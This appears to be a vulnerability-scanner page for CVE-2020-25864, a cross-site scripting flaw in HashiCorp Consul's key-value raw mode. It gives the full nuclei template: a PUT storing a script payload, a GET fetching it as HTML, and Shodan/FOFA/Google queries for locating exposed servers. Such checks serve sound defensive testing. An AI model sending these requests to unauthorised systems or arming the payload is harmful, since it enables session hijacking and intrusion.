HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting

mediumseverity

6.1CVSS score

6.1%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.

Fix

Fixed in 1.9.5, 1.8.10 and 1.7.14.

How to confirm it

Send: PUT {{BaseURL}}/v1/kv/{{randstr}} ; GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw
Positive when: contains in header "text/html" AND contains in body_2 "<!DOCTYPE html><script>alert(document.domain)</script>" AND status 200

Run it with nuclei: nuclei -id CVE-2020-25864 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-25864

info:
  name: HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting
  author: c-sh0
  severity: medium
  description: |
    HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application.
  remediation: Fixed in 1.9.5, 1.8.10 and 1.7.14.
  reference:
    - https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368
    - https://www.hashicorp.com/blog/category/consul
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25864
    - https://security.gentoo.org/glsa/202208-09
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-25864
    cwe-id: CWE-79
    epss-score: 0.06068
    epss-percentile: 0.93447
    cpe: cpe:2.3:a:hashicorp:consul:*:*:*:*:-:*:*:*
  metadata:
    max-request: 2
    vendor: hashicorp
    product: consul
    shodan-query:
      - http.title:"consul by hashicorp"
      - cpe:"cpe:2.3:a:hashicorp:consul"
    fofa-query: title="consul by hashicorp"
    google-query: intitle:"consul by hashicorp"
  tags: cve,cve2020,consul,xss,intrusive,hashicorp,vuln

http:
  - raw:
      - |
        PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1
        Host: {{Hostname}}

        <!DOCTYPE html><script>alert(document.domain)</script>
      - |
        GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/html

      - type: word
        part: body_2
        words:
          - <!DOCTYPE html><script>alert(document.domain)</script>

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from